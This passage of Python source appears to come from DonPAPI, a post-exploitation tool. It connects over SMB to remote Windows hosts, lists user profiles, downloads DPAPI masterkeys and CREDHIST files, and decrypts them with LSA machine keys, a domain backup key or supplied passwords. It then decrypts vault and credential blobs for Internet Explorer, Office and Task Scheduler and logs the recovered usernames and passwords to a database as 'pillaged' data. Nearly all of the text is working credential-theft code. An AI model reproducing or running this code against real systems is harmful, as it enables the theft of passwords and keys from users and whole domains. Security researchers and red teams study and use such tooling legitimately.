{decrypted_blob['Target'].decode('utf-16le')}\n" + info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n" + info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n" + info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n" + try: + info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n" + password = decrypted_blob['Unknown3'].decode('utf-16le') + except UnicodeDecodeError: + info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n" + password = decrypted_blob['Unknown3'].decode('latin-1') + ############PROCESSING DATA + self.db.add_credz(credz_type='browser-internet_explorer', + credz_username=decrypted_blob['Username'].decode('utf-16le'), + credz_password=password, + credz_target=decrypted_blob['Target'].decode('utf-16le'), + credz_path=localfile, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + self.logging.debug(info) + return info + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_CREDENTIAL_MSOFFICE(self, user, localfile, decrypted_blob): + # from impacket.ese import getUnixTime + try: + self.logging.debug("Dumping Microsoft Office decrypted credential blob info to file") + # self.logging.debug(decrypted_blob) + info = "\n" + info += f"[CREDENTIAL]\n" + try: + info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n" + info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n" + info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n" + info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n" + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}") + self.logging.debug(ex) + info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n" + info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n" + info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n" + info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n" + try: + info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n" + password = decrypted_blob['Unknown3'].decode('utf-16le') + except UnicodeDecodeError: + info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n" + password = decrypted_blob['Unknown3'].decode('latin-1') + + ############PROCESSING DATA + self.db.add_credz(credz_type='browser-internet_explorer', + credz_username=decrypted_blob['Username'].decode('utf-16le'), + credz_password=password, + credz_target=decrypted_blob['Target'].decode('utf-16le'), + credz_path=localfile, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + self.logging.debug(info) + return info + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_CREDENTIAL_TASKSCHEDULER(self, user, localfile, decrypted_blob): + # from impacket.ese import getUnixTime + try: + self.logging.debug("Dumping TASKSCHEDULER decrypted credential blob info to file") + # self.logging.debug(decrypted_blob) + info = "\n" + info += f"[CREDENTIAL]\n" + try: + info += f"LastWritten : {datetime.utcfromtimestamp(impacket.dpapi.getUnixTime(decrypted_blob['LastWritten']))}\n" + info += f"Flags : {decrypted_blob['Flags']} ({impacket.dpapi.getFlags(impacket.dpapi.CREDENTIAL_FLAGS, decrypted_blob['Flags'])})\n" + info += f"Persist : 0x{decrypted_blob['Persist']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Persist']).name})\n" + info += f"Type : 0x{decrypted_blob['Type']} ({impacket.dpapi.CREDENTIAL_PERSIST(decrypted_blob['Type']).name})\n" + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception 1 decrypted_blob.attributes {bcolors.ENDC}") + self.logging.debug(ex) + info += f"Target : {decrypted_blob['Target'].decode('utf-16le')}\n" + info += f"Description : {decrypted_blob['Description'].decode('utf-16le')}\n" + info += f"Unknown : {decrypted_blob['Unknown'].decode('utf-16le')}\n" + info += f"Username : {decrypted_blob['Username'].decode('utf-16le')}\n" + try: + info += f"Unknown3 : {decrypted_blob['Unknown3'].decode('utf-16le')}\n" + password = decrypted_blob['Unknown3'].decode('utf-16le') + except UnicodeDecodeError: + info += f"Unknown3. : {decrypted_blob['Unknown3'].decode('latin-1')}\n" + password = decrypted_blob['Unknown3'].decode('latin-1') + ############PROCESSING DATA + self.db.add_credz(credz_type='taskscheduler', + credz_username=decrypted_blob['Username'].decode('utf-16le'), + credz_password=password, + credz_target=decrypted_blob['Target'].decode('utf-16le'), + credz_path=localfile, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + self.logging.debug(info) + return info + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception 3 dump_credential_blob {bcolors.ENDC}") + self.logging.debug(ex) + + def process_decrypted_vault(self, user, secret_file): # data ,user ,localfile,blob_type,args=[]): + try: + self.logging.debug( + f"[{self.options.target_ip}] [+] process_decrypted_vault of {secret_file} {bcolors.ENDC}") + blob_type = secret_file['type'] + localfile = secret_file['path'] + data = secret_file['data'] + + if blob_type == 'vault' or blob_type == 'vcrd': + try: + vault_name = secret_file['vault_name'] # args[0] + vault_type = secret_file['vault_type'] # args[1] + self.logging.debug(f"Processing Vault {vault_name} - type : {vault_type} ") + if vault_type == 'WinBio Key': + data = self.dump_VAULT_WIN_BIO_KEY(user, localfile, data) + self.logsecret(f"Vault {vault_name} : {data} ") + elif vault_type == 'NGC Local Account Logon Vault Credential': + data = self.dump_VAULT_NGC_LOCAL_ACCOOUNT(user, localfile, data) + self.logsecret(f"Vault {vault_name} : {data} ") + elif "NGC" in vault_type: + data = self.dump_VAULT_NGC_ACCOOUNT(user, localfile, data) + self.logsecret(f"Vault {vault_name} : {data} ") + elif vault_type == 'Internet Explorer': + data = self.dump_VAULT_INTERNET_EXPLORER(user, localfile, data) + + # user.secrets["Vault:%s" % vault_name] = data + secret_file['secret'] = data + self.dump_to_file(localfile, data) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Except 1 process_decrypted_data Vault for {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Except 2 process_decrypted_data ALL for {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_VAULT_INTERNET_EXPLORER(self, user, localfile, vault_blob): + try: + self.logging.debug("Formating VAULT_INTERNET_EXPLORER info") + retval = "[Internet Explorer]\n" + retval += f"Username : {vault_blob['Username'].decode('utf-16le')} \n" + retval += f"Resource : {vault_blob['Resource'].decode('utf-16le')} \n" + retval += f"Password : {vault_blob['Password'].decode('utf-16le')} : {hexlify(vault_blob['Password'])} \n" + ############PROCESSING DATA + self.db.add_credz(credz_type='browser-internet_explorer', + credz_username=f"{vault_blob['Username'].decode('utf-16le')}", + credz_password=f"{vault_blob['Password'].decode('utf-16le')}", + credz_target=f"{vault_blob['Resource'].decode('utf-16le')}", + credz_path=localfile, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} [IE/EDGE Password] {bcolors.ENDC} for {vault_blob['Resource'].decode('utf-16le')} [ {bcolors.OKBLUE}{vault_blob['Username'].decode('utf-16le')} : {vault_blob['Password'].decode('utf-16le')}{bcolors.ENDC} ]") + return retval + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_INTERNET_EXPLORER{bcolors.ENDC}") + self.logging.debug(ex) + + def dump_VAULT_WIN_BIO_KEY(self, user, localfile, vault_blob): + try: + self.logging.debug("Dumping VAULT_WIN_BIO_KEY info to file") + retval = "\n[WINDOWS BIOMETRIC KEY]\n" + retval += 'Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical() + retval += f"Friendly Name: {vault_blob['Name'].decode('utf-16le')}\n" + retval += f"Biometric Key: 0x{hexlify(vault_blob['BioKey']['bKey']).decode('latin-1')}\n" + return retval + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_WIN_BIO_KEY {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_VAULT_NGC_LOCAL_ACCOOUNT(self, user, localfile, vault_blob): + try: + self.logging.debug("Dumping NGC_LOCAL_ACCOOUNT info to file") + retval = "\n[NGC LOCAL ACCOOUNT]\n" + retval += 'UnlockKey : %s\n' % hexlify(vault_blob["UnlockKey"]) + retval += 'IV : %s\n' % hexlify(vault_blob["IV"]) + retval += 'CipherText : %s\n' % hexlify(vault_blob["CipherText"]) + return retval + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_NGC_LOCAL_ACCOOUNT {bcolors.ENDC}") + self.logging.debug(ex) + + def dump_VAULT_NGC_ACCOOUNT(self, user, localfile, vault_blob): + try: + self.logging.debug("Dumping VAULT_NGC_ACCOOUNT info to file") + retval = "\n[NGC VAULT]\n" + retval += 'Sid : %s\n' % RPC_SID(b'\x05\x00\x00\x00' + vault_blob['Sid']).formatCanonical() + retval += 'Friendly Name: %s\n' % vault_blob['Name'].decode('utf-16le') + # A completer ? + vault_blob['Blob'].dump() + + return retval + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception dump_VAULT_NGC_ACCOOUNT{bcolors.ENDC}") + self.logging.debug(ex) + + def do_who(self): + # if self.loggedIn is False: + # self.logging.error("Not logged in") + # return + rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', + smb_connection=self.smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) + + for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: + self.logging.info("host: %15s, user: %5s, active: %5d, idle: %5d" % ( + session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], + session['sesi10_idle_time'])) + self.db.add_connected_user(username=session['sesi10_username'][:-1], ip=session['sesi10_cname'][:-1]) + + def get_users(self): + self.logging.debug("Listing Users by enumerating directories in $Share\\Users") + blacklist = ['.', '..', 'desktop.ini'] + shares = self.myfileops.get_shares() + # Intégrer les users share du premier test + if 'C$' in shares: # Most likely + self.myfileops.do_use('C$') + # self.myfileops.pwd = 'Users' + completion = self.myfileops.do_ls('Users', '*', display=False) + for infos in completion: + longname, is_directory = infos + if is_directory and longname not in blacklist: + for user in self.users: + if longname == user.username: + break + else: + self.users.append(MyUser(longname, self.logging, self.options)) + self.logging.info( + f"[{self.options.target_ip}] [+] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}") + user = self.GetUserByName(longname) + self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip) + user.share = 'C$' + else: + for share in shares: + self.myfileops.do_use(share) + # self.pwd = 'Users' + completion = self.myfileops.do_ls('Users', '*', display=False) + for infos in completion: + longname, is_directory = infos + if is_directory and longname not in blacklist: + for user in self.users: + if longname == user['username']: + break + else: + self.users.append(MyUser(longname, self.logging, self.options)) + self.logging.debug( + f"[{self.options.target_ip}] Found user {bcolors.OKBLUE}{longname}{bcolors.ENDC}") + user = self.GetUserByName(longname) + self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip) + user.share = share + # +ADD LOCAL MACHINE ACCOUNT + user = MyUser("MACHINE$", self.logging, self.options) + user.type = 'MACHINE' + user.share = 'C$' + self.users.append(user) + self.db.add_user(username=user.username, pillaged_from_computer_ip=self.options.target_ip) + return self.users + + def get_masterkeys(self): + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering masterkeys on the target{bcolors.ENDC}") + blacklist = ['.', '..'] + # self.get_shares() + # self.get_users() + for user in self.users: + if user.username != 'MACHINE$': + try: + tmp_pwd = ntpath.join(ntpath.join('Users', user.username), 'AppData\\Roaming\\Microsoft\\Protect') + self.logging.debug( + f"[{self.options.target_ip}] Looking for {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey in %s" % tmp_pwd) + my_directory = self.myfileops.do_ls(tmp_pwd, '', display=True) + for infos in my_directory: + try: + longname, is_directory = infos + if longname not in blacklist: + self.logging.debug(f"[{self.options.target_ip}] Analysing {longname} for Masterkeys") + if is_directory and longname[:2] == 'S-': # SID + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}") + user.sid = longname + if user.sid.startswith('S-1-5-80'): + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}") + user.is_adconnect = True + # user.check_usertype() + tmp_pwd2 = ntpath.join(tmp_pwd, longname) + my_directory2 = self.myfileops.do_ls(tmp_pwd2, '', display=False) + for infos2 in my_directory2: + longname2, is_directory2 = infos2 + if not is_directory2 and is_guid(longname2): # GUID + self.download_masterkey(user, tmp_pwd2, longname2, type='USER') + elif is_directory: + self.logging.debug( + f"[{self.options.target_ip}] Found Directory %s -> doing nothing" % longname) + else: + self.logging.debug(f"[{self.options.target_ip}] Found file %s" % longname) + if "CREDHIST" in longname: + self.download_credhist(user, tmp_pwd, longname, type='USER') + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in get_masterkeys for {longname}{bcolors.ENDC}") + self.logging.debug(ex) + continue + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_masterkeys{bcolors.ENDC}") + self.logging.debug(ex) + continue + ##MACHINE MASTERKEYS + try: + user = self.GetUserByName('MACHINE$') + # Make a "MACHINE$" user + """user=MyUser("MACHINE$",self.logging,self.options) + user.type='MACHINE' + self.users.append(user)""" + + tmp_pwd = 'Windows\\System32\\Microsoft\\Protect' # Add Windows\ServiceProfiles\ADSync\AppData\Roaming\Microsoft\Protect\ for ADConnect ? + self.logging.debug(f"[{self.options.target_ip}] Looking for Machine Masterkey in %s" % tmp_pwd) + my_directory = self.myfileops.do_ls(tmp_pwd, '', display=False) + for infos in my_directory: + longname, is_directory = infos + if longname not in blacklist: + if is_directory and longname[:2] == 'S-': # SID + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} - Found SID {longname}") + user.sid = longname + if user.sid.startswith('S-1-5-80'): + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.FAIL}{user.username}{bcolors.ENDC} - Found AD CONNECT SID {longname}") + user.is_adconnect = True + tmp_pwd2 = ntpath.join(tmp_pwd, longname) + my_directory2 = self.myfileops.do_ls(tmp_pwd2, '', display=False) + for infos2 in my_directory2: + longname2, is_directory2 = infos2 + if longname2 not in blacklist: + if not is_directory2 and is_guid(longname2): # GUID + # Downloading file + self.download_masterkey(user, tmp_pwd2, longname2, type='MACHINE') + elif is_directory2 and longname2 == 'User': # On se limite a ca pour le moment + tmp_pwd3 = ntpath.join(tmp_pwd2, longname2) + my_directory3 = self.myfileops.do_ls(tmp_pwd3, '', display=False) + for infos3 in my_directory3: + longname3, is_directory3 = infos3 + if longname3 not in blacklist: + if not is_directory3 and is_guid(longname3): # GUID + self.logging.debug( + f"[{self.options.target_ip}] {user.username} - Found GUID {longname3}") + # Downloading file + self.download_masterkey(user, tmp_pwd3, longname3, type='MACHINE-USER') + else: + self.logging.debug( + "Found unexpected file/directory %s in %s" % (tmp_pwd3, longname3)) + else: + self.logging.debug( + "Found unexpected file/directory %s in %s" % (tmp_pwd2, longname2)) + elif is_directory: + self.logging.debug("Found (not SID) Directory %s" % longname) + else: + self.logging.debug("Found file %s" % longname) + if "CREDHIST" in longname: + self.download_credhist(user, tmp_pwd, longname, type='MACHINE') + + except Exception as ex: + self.logging.error( + f"[{self.options.target_ip}] {bcolors.FAIL}Error in GetMasterkey (Machine){bcolors.ENDC}") + self.logging.debug(ex) + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Gathered Masterkeys for {len(self.users)} users{bcolors.ENDC}") + + def download_credhist(self, user, tmp_pwd, longname, type='MACHINE'): + # Downloading file + try: + + self.logging.debug( + f"[{self.options.target_ip}] [...] Downloading CREDHIST {user.username} {tmp_pwd} {longname}") + # from DonPAPI.lib.dpapi_pick.credhist import CredHistFile + # localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname)) + '''f=open(localfile,'rb') + credhistdata = f.read() + f.close() + myCredhistfile = CredHistFile(raw=credhistdata) + + print(repr(myCredhistfile)) + #myCredhistfile = CredHistFile(raw=credhistdata) + for username in self.options.credz: + if username in user.username: # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ? + self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username} CREDHIST") + for password in self.options.credz[username]: + ret=myCredhistfile.decryptWithPassword(password) + print(ret) + ''' + except Exception as ex: + self.logging.error(f"[{self.options.target_ip}] {bcolors.FAIL}Error in Decrypting Credhist{bcolors.ENDC}") + self.logging.debug(ex) + + def download_masterkey(self, user, path, guid, type): + guid = guid.lower() + if is_guid(guid): + self.logging.debug(f"[{self.options.target_ip}] {user.username} - Found GUID {guid}") + # Downloading file + localfile = self.myfileops.get_file(ntpath.join(path, guid)) + # Get Type and hash + try: + myoptions = copy.deepcopy(self.options) + myoptions.sid = user.sid + myoptions.username = user.username + myoptions.pvk = None + myoptions.file = localfile # Masterkeyfile to parse + # myoptions.key = key.decode("utf-8") + mydpapi = DPAPI(myoptions, self.logging) + if self.options.GetHashes == True: + masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=True) + else: + masterkey_hash, is_domain_sid = mydpapi.get_masterkey_hash(generate_hash=False) + except Exception as ex: + self.logging.error( + f"[{self.options.target_ip}] {bcolors.FAIL}Error in DownloadMasterkey - get_masterkey_hash{bcolors.ENDC}") + self.logging.debug(ex) + try: + user.masterkeys_file[guid] = {} + user.masterkeys_file[guid]['path'] = localfile + user.masterkeys_file[guid]['status'] = 'encrypted' + if self.options.GetHashes == True: + user.masterkeys_file[guid]['hash'] = masterkey_hash + if is_domain_sid and user.username != 'MACHINE$': + type = 'DOMAIN' + user.type_validated = True + user.type = type # LOCAL,DOMAIN,MACHINE,MACHINE-USER + self.db.add_sid(username=user.username, sid=user.sid) + self.db.add_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + if self.options.GetHashes == True: + for hash in user.masterkeys_file[guid]['hash']: + self.db.add_dpapi_hash(file_path=user.masterkeys_file[guid]['path'], sid=user.sid, guid=guid, + hash=hash, context=type, pillaged_from_computer_ip=self.options.target_ip) + except Exception as ex: + self.logging.error( + f"[{self.options.target_ip}] {bcolors.FAIL}Error in Database entry - download_masterkey_hash{bcolors.ENDC}") + self.logging.debug(ex) + + def get_masterkey(self, user, guid, type): + guid = guid.lower() + if guid not in user.masterkeys_file: + self.logging.debug( + f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found") + return -1 + else: + self.logging.debug( + f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found") + if user.masterkeys_file[guid]['status'] == 'decrypted': + self.logging.debug( + f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted") + return user.masterkeys_file[guid] + elif user.masterkeys_file[guid]['status'] == 'encrypted': + return self.decrypt_masterkey(user, guid, type, tested_type=[]) + + def decrypt_masterkey(self, user, guid, type='', tested_type=[]): + + self.logging.debug( + f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type}) - tested : {tested_type}") + guid = guid.lower() + if guid not in user.masterkeys_file: + self.logging.debug( + f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found") + return -1 + localfile = user.masterkeys_file[guid]['path'] + + if user.masterkeys_file[guid]['status'] == 'decrypted': + self.logging.debug( + f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted") + return user.masterkeys_file[guid] + else: + # if user.type_validated == True: + # type=user.type + if type == '': + type = user.type + + if 'MACHINE' in tested_type and 'MACHINE-USER' in tested_type and 'DOMAIN' in tested_type and 'LOCAL' in tested_type: + self.logging.debug( + f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} : All decryption type failed") + return -1 + + if type == 'MACHINE': + # Try de decrypt masterkey file + for key in self.machine_key: + self.logging.debug( + f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}") + try: + myoptions = copy.deepcopy(self.options) + myoptions.sid = None # user.sid + myoptions.username = user.username + myoptions.pvk = None + myoptions.file = localfile # Masterkeyfile to parse + myoptions.key = key.decode("utf-8") + mydpapi = DPAPI(myoptions, self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey() + if decrypted_masterkey != None and decrypted_masterkey != -1: + # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" ) + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + # user.masterkeys[localfile] = decrypted_masterkey + user.type = 'MACHINE' + user.type_validated = True + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with="MACHINE-KEY", decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}") + self.logging.debug(ex) + else: + # if user.type_validated == False: + tested_type.append('MACHINE') + self.decrypt_masterkey(user, guid, type='MACHINE-USER', tested_type=tested_type) + elif type == 'MACHINE-USER': + # Try de decrypt masterkey file + for key in self.user_key: + self.logging.debug( + f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}") # and SID %s , user.sid )) + try: + # key1, key2 = deriveKeysFromUserkey(tsid, userkey) + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + if user.is_adconnect is True: + myoptions.key = key.decode("utf-8") + myoptions.sid = user.sid + else: + myoptions.key = key.decode("utf-8") # None + myoptions.sid = None # user.sid + + myoptions.username = user.username + myoptions.pvk = None + mydpapi = DPAPI(myoptions, self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey() + if decrypted_masterkey != -1 and decrypted_masterkey != None: + # self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}") + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + # user.masterkeys[localfile] = decrypted_masterkey + user.type = 'MACHINE-USER' + user.type_validated = True + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}") + self.logging.debug(ex) + else: + tested_type.append('MACHINE-USER') + if user.type_validated == False and not user.is_adconnect: + return self.decrypt_masterkey(user, guid, type='DOMAIN', tested_type=tested_type) + if 'DOMAIN' not in tested_type: + return self.decrypt_masterkey(user, guid, type='DOMAIN', tested_type=tested_type) + + elif type == 'DOMAIN' and self.options.pvk is not None: + # For ADConnect + if user.is_adconnect is True and 'MACHINE-USER' not in tested_type: + return self.decrypt_masterkey(user, guid, type='MACHINE-USER', tested_type=tested_type) + # Try de decrypt masterkey file + self.logging.debug( + f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}") + try: + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + myoptions.username = user.username + myoptions.sid = user.sid + mydpapi = DPAPI(myoptions, self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey() + if decrypted_masterkey != -1 and decrypted_masterkey != None: + # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey) + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + # user.masterkeys[localfile] = decrypted_masterkey + user.type = 'DOMAIN' + user.type_validated = True + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}") + self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid, + status=user.masterkeys_file[guid]['status'], + decrypted_with="DOMAIN-PVK", + decrypted_value=decrypted_masterkey, + pillaged_from_computer_ip=self.options.target_ip, + pillaged_from_username=user.username) + return user.masterkeys_file[guid] + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}") + # if user.type_validated == False: + tested_type.append('DOMAIN') + return self.decrypt_masterkey(user, guid, 'LOCAL', tested_type=tested_type) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}") + self.logging.debug(f"exception was : {ex}") + # if user.type_validated == False: + tested_type.append('DOMAIN') + return self.decrypt_masterkey(user, guid, 'LOCAL', tested_type=tested_type) + # type==LOCAL + # On a des credz + if len(self.options.credz) > 0 and user.masterkeys_file[guid][ + 'status'] != 'decrypted': # localfile not in user.masterkeys: + self.logging.debug( + f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz") + for username in self.options.credz: + if username.lower() in user.username.lower(): # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ? + # self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username}") + # for test_cred in self.options.credz[user.username]: + try: + self.logging.debug( + f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file") + myoptions = copy.deepcopy(self.options) + myoptions.file = localfile # Masterkeyfile to parse + # myoptions.password = self.options.credz[username] + myoptions.sid = user.sid + myoptions.pvk = None + myoptions.key = None + mydpapi = DPAPI(myoptions, self.logging) + decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username]) + if decrypted_masterkey != -1 and decrypted_masterkey != None: + # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}") + user.masterkeys_file[guid]['status'] = 'decrypted' + user.masterkeys_file[guid]['key'] = decrypted_masterkey + # user.masterkeys[localfile] = decrypted_masterkey + user.type = 'LOCAL' + user.type_validated = True + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} 